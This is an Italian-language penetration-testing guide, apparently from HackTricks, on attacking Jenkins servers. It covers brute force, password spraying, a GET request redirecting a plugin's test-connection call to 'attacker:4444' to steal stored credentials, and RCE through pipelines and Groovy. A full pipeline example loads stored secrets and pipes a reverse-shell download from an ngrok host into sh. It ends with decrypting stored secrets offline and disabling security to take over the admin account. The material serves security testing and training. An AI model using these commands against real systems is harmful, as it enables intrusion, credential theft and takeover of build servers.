# Sicurezza di Jenkins

{{#include ../../banners/hacktricks-training.md}}

## Informazioni di base

Jenkins è uno strumento che offre un metodo semplice per stabilire un ambiente di **integrazione continua** o **continuous delivery** (CI/CD) per quasi **qualsiasi** combinazione di **linguaggi di programmazione** e repository di codice sorgente usando pipeline. Inoltre, automatizza varie attività di sviluppo di routine. Sebbene Jenkins non elimini la **necessità di creare script per singoli passaggi**, fornisce però un modo più rapido e più robusto per integrare l'intera sequenza di strumenti di build, test e deployment rispetto a quanto si possa facilmente costruire manualmente.

{{#ref}}
basic-jenkins-information.md
{{#endref}}

## Enumerazione non autenticata

Per cercare pagine interessanti di Jenkins senza autenticazione, come (_/people_ o _/asynchPeople_, che elenca gli utenti correnti) puoi usare:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
Verifica se è possibile eseguire comandi senza autenticazione:
```
msf> use auxiliary/scanner/http/jenkins_command
```
Senza credenziali puoi ispezionare il percorso _**/asynchPeople/**_ o _**/securityRealm/user/admin/search/index?q=**_ per **usernames**.

Potresti riuscire a ottenere la versione di Jenkins dal percorso _**/oops**_ o _**/error**_

![](<../../images/image (146).png>)

### Known Vulnerabilities

{{#ref}}
https://github.com/gquere/pwn_jenkins
{{#endref}}

## Login

Nelle informazioni di base puoi verificare **tutti i modi per effettuare il login in Jenkins**:

{{#ref}}
basic-jenkins-information.md
{{#endref}}

### Register

Potrai trovare istanze Jenkins che **permettono di creare un account e accedervi. Semplice così.**

### **SSO Login**

Inoltre, se erano presenti funzionalità/plugin **SSO**, dovresti provare a effettuare il **log-in** all'applicazione usando un account di test (es. un account di prova **Github/Bitbucket**). Trucchi da [**qui**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).

### Bruteforce

**Jenkins** non applica una **password policy** né mitigazioni per il **username brute-force**. È essenziale eseguire **brute-force** sugli utenti, poiché potrebbero essere in uso **password deboli** o **usernames come password**, anche **usernames invertiti come password**.
```
msf> use auxiliary/scanner/http/jenkins_login
```
### Password spraying

Usa [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) o [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).

### IP Whitelisting Bypass

Molte organizzazioni combinano **SaaS-based source control management (SCM) systems** come GitHub o GitLab con una soluzione **internal, self-hosted CI** come Jenkins o TeamCity. Questa configurazione permette ai sistemi CI di ricevere webhook events dai fornitori di source control SaaS, principalmente per triggerare pipeline jobs.

Per realizzare questo, le organizzazioni **whitelist** i **IP ranges** delle **SCM platforms**, permettendo loro di accedere al **internal CI system** tramite **webhooks**. Tuttavia, è importante notare che **anyone** può creare un **account** su GitHub o GitLab e configurarlo per **trigger a webhook**, potenzialmente inviando richieste al **internal CI system**.

Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)

## Abusi interni di Jenkins

In questi scenari supponiamo che tu abbia un account valido per accedere a Jenkins.

> [!WARNING]
> A seconda del meccanismo di **Authorization** configurato in Jenkins e dei permessi dell'utente compromesso potresti essere in grado o meno di eseguire i seguenti attacchi.

Per maggiori informazioni consulta le informazioni di base:

{{#ref}}
basic-jenkins-information.md
{{#endref}}

### Elencare utenti

Se hai accesso a Jenkins puoi elencare altri utenti registrati in http://127.0.0.1:8080/asynchPeople/

### Dumping builds to find cleartext secrets

Usa [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) per eseguire il dump degli output della console delle build e delle variabili d'ambiente delle build per cercare eventuali segreti in chiaro.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
### FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)

Alcuni plugin espongono handler Jelly `validateButton` o `test connection` sotto percorsi come `/descriptorByName/<Class>/testConnection`. Quando gli handler **non impongono POST o controlli di permesso**, puoi:

- Sostituire POST con GET e rimuovere il Crumb per bypassare i controlli CSRF.
- Eseguire l'handler come utente a basso privilegio/anonimo se non esiste un controllo `Jenkins.ADMINISTER`.
- Effettuare un CSRF contro un admin e sostituire il parametro host/URL per esfiltrare le credentials o innescare chiamate in uscita.
- Usare gli errori di risposta (es. `ConnectException`) come un oracle SSRF/port-scan.

Esempio GET (no Crumb) che trasforma una chiamata di validazione in SSRF/credential exfiltration:
```http
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080
```
Se il plugin riutilizza credenziali memorizzate, Jenkins tenterà di autenticarsi su `attacker:4444` e potrebbe causare il leak di identificatori o errori nella risposta. Vedi: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/

### **Furto di SSH credentials**

Se l'utente compromesso ha **privilegi sufficienti per creare/modificare un nuovo nodo Jenkins** e sono già memorizzate credenziali SSH per accedere ad altri nodi, potrebbe **rubare quelle credenziali** creando/modificando un nodo e **impostando un host che registrerà le credenziali** senza verificare la host key:

![](<../../images/image (218).png>)

Di solito troverai le credenziali SSH di Jenkins in un **provider globale** (`/credentials/`), quindi puoi anche esportarle come faresti con qualsiasi altro secret. Maggiori informazioni nella [**sezione Dumping secrets**](#dumping-secrets).

### **RCE in Jenkins**

Ottenere una **shell sul server Jenkins** dà all'attaccante l'opportunità di leakare tutti i **secrets** e le **env variables** e di **sfruttare altre macchine** nella stessa rete o perfino **raccogliere cloud credentials**.

Per impostazione predefinita, Jenkins sarà **eseguito come SYSTEM**. Quindi comprometterlo darà all'attaccante **privilegi SYSTEM**.

### **RCE Creazione/Modifica di un progetto**

Creare/Modificare un progetto è un modo per ottenere RCE sul server Jenkins:

{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}

### **RCE Esecuzione di uno script Groovy**

Puoi anche ottenere RCE eseguendo uno script Groovy, che potrebbe essere più discreto rispetto alla creazione di un nuovo progetto:

{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}

### RCE Creazione/Modifica di pipeline

Puoi anche ottenere **RCE creando/modificando una pipeline**:

{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}

## Sfruttamento delle pipeline

Per sfruttare le pipeline è comunque necessario avere accesso a Jenkins.

### Pipeline di build

Le **pipeline** possono essere utilizzate anche come **meccanismo di build nei progetti**; in tal caso può essere configurato un **file all'interno del repository** che conterrà la sintassi della pipeline. Per impostazione predefinita viene usato `/Jenkinsfile`:

![](<../../images/image (127).png>)

È anche possibile **memorizzare i file di configurazione della pipeline in altri posti** (ad esempio in altri repository) con l'obiettivo di **separare** l'**accesso** al repository dall'accesso alla pipeline.

Se un attaccante ha **accesso in scrittura a quel file** sarà in grado di **modificarlo** e **potenzialmente attivare** la pipeline senza nemmeno avere accesso a Jenkins. È possibile che l'attaccante debba **bypassare alcune protezioni dei branch** (a seconda della piattaforma e dei privilegi utente potrebbero essere bypassabili o meno).

I trigger più comuni per eseguire una pipeline custom sono:

- **Pull request** al branch principale (o potenzialmente ad altri branch)
- **Push** al branch principale (o potenzialmente ad altri branch)
- **Aggiornare il branch principale** e aspettare che venga eseguito in qualche modo

> [!NOTE]
> Se sei un **utente esterno** non dovresti aspettarti di poter creare una **PR al branch principale** del repo di **un altro utente/organizzazione** e **attivare la pipeline**... ma se è **mal configurata** potresti compromettere completamente aziende semplicemente sfruttando questo.

### Pipeline RCE

Nella sezione RCE precedente è stata già indicata una tecnica per [**ottenere RCE modificando una pipeline**](#rce-creating-modifying-pipeline).

### Verifica delle env variables

È possibile dichiarare **env variables in chiaro** per l'intera pipeline o per specifici stage. Queste env variables **non dovrebbero contenere informazioni sensibili**, ma un attaccante potrebbe comunque **controllare tutte le configurazioni della pipeline/Jenkinsfile**:
```bash
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
```
### Dumping secrets

Per informazioni su come i secrets sono solitamente gestiti da Jenkins consulta le informazioni di base:

{{#ref}}
basic-jenkins-information.md
{{#endref}}

Le Credentials possono essere **scoped to global providers** (`/credentials/`) oppure a **specific projects** (`/job/<project-name>/configure`). Pertanto, per exfiltrate tutte devi **compromise at least all the projects** che contengono secrets ed eseguire pipeline custom/poisoned.

C'è un altro problema: per ottenere un **secret inside the env** di una pipeline devi **know the name and type of the secret**. Per esempio, se provi a **load** un **`usernamePassword`** **secret** come un **`string`** **secret** otterrai questo **error**:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
Ecco il modo per caricare alcuni tipi comuni di secret:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
```
Alla fine di questa pagina puoi **trovare tutti i tipi di credenziali**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)

> [!WARNING]
> Il modo migliore per **dump all the secrets at once** è **compromising** la macchina **Jenkins** (ad esempio eseguendo una **reverse shell** nel **built-in node**) e poi **leaking** le **master keys** e le **encrypted secrets** e decifrarle offline.\
> Maggiori dettagli su come fare questo nella [Nodes & Agents section](#nodes-and-agents) e nella [Post Exploitation section](#post-exploitation).

### Triggers

From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.

Cron example:
```bash
triggers { cron('H */4 * * 1-5') }
```
Consulta **altri esempi nella documentazione**.

### Nodi & Agents

Una **Jenkins instance** potrebbe avere **diversi agents in esecuzione su macchine differenti**. Dal punto di vista di un attacker, l'accesso a macchine diverse significa **different potential cloud credentials** da rubare o **different network access** che potrebbero essere abusati per compromettere altre macchine.

Per maggiori informazioni consulta le informazioni di base:

{{#ref}}
basic-jenkins-information.md
{{#endref}}

Puoi enumerare i **nodi configurati** in `/computer/`, di solito troverai il \*\*`Built-In Node` \*\* (che è il nodo che esegue Jenkins) e potenzialmente altri:

![](<../../images/image (249).png>)

È **particolarmente interessante compromettere il Built-In node** perché contiene informazioni sensibili di Jenkins.

Per indicare che vuoi **eseguire** la **pipeline** nel **built-in Jenkins node** puoi specificare all'interno della pipeline la seguente configurazione:
```bash
pipeline {
agent {label 'built-in'}
```
### Esempio completo

Pipeline in un agente specifico, con trigger cron, con variabili env a livello di pipeline e di stage, caricando 2 variabili in uno step e inviando una reverse shell:
```bash
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}
```
## Arbitrary File Read a RCE

{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
{{#endref}}

## RCE

{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}

{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}

{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}

## Post Exploitation

### Metasploit
```
msf> post/multi/gather/jenkins_gather
```
### Jenkins Secrets

Puoi elencare i secrets accedendo a `/credentials/` se hai i permessi sufficienti. Nota che questo elencherà solo i secrets all'interno del file `credentials.xml`, ma **build configuration files** potrebbero avere anche **more credentials**.

Se puoi **vedere la configurazione di ogni progetto**, puoi anche vedere lì i **nomi delle credentials (secrets)** usate per accedere al repository e **altre credentials del progetto**.

![](<../../images/image (180).png>)

#### From Groovy

{{#ref}}
jenkins-dumping-secrets-from-groovy.md
{{#endref}}

#### Dal disco

Questi file sono necessari per **decriptare i secrets di Jenkins**:

- secrets/master.key
- secrets/hudson.util.Secret

Tali **secrets possono solitamente essere trovati in**:

- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml

Ecco una regex per trovarli:
```bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
```
#### Decriptare i secrets di Jenkins offline

Se hai ottenuto le **password necessarie per decriptare i secrets**, usa [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **per decriptare quei secrets**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
#### Decrypt Jenkins secrets from Groovy
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
### Creare un nuovo utente amministratore

1. Accedi al file config.xml di **Jenkins** in `/var/lib/jenkins/config.xml` o `C:\Program Files (x86)\Jenkis\`
2. Cerca la stringa `<useSecurity>true</useSecurity>` e cambia la parola \*\*`true` \*\* in **`false`**.
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Riavvia** il server **Jenkins**: `service jenkins restart`
4. Ora vai di nuovo al portale Jenkins e **Jenkins non richiederà credenziali** questa volta. Vai su "**Manage Jenkins**" per impostare nuovamente la **password dell'amministratore**.
5. **Riattiva** la **sicurezza** cambiando l'impostazione in `<useSecurity>true</useSecurity>` e **riavvia di nuovo Jenkins**.

## Riferimenti

- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
- [https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password](https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password)
- [https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html](https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html)
- [https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072](https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072)
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)

{{#include ../../banners/hacktricks-training.md}}
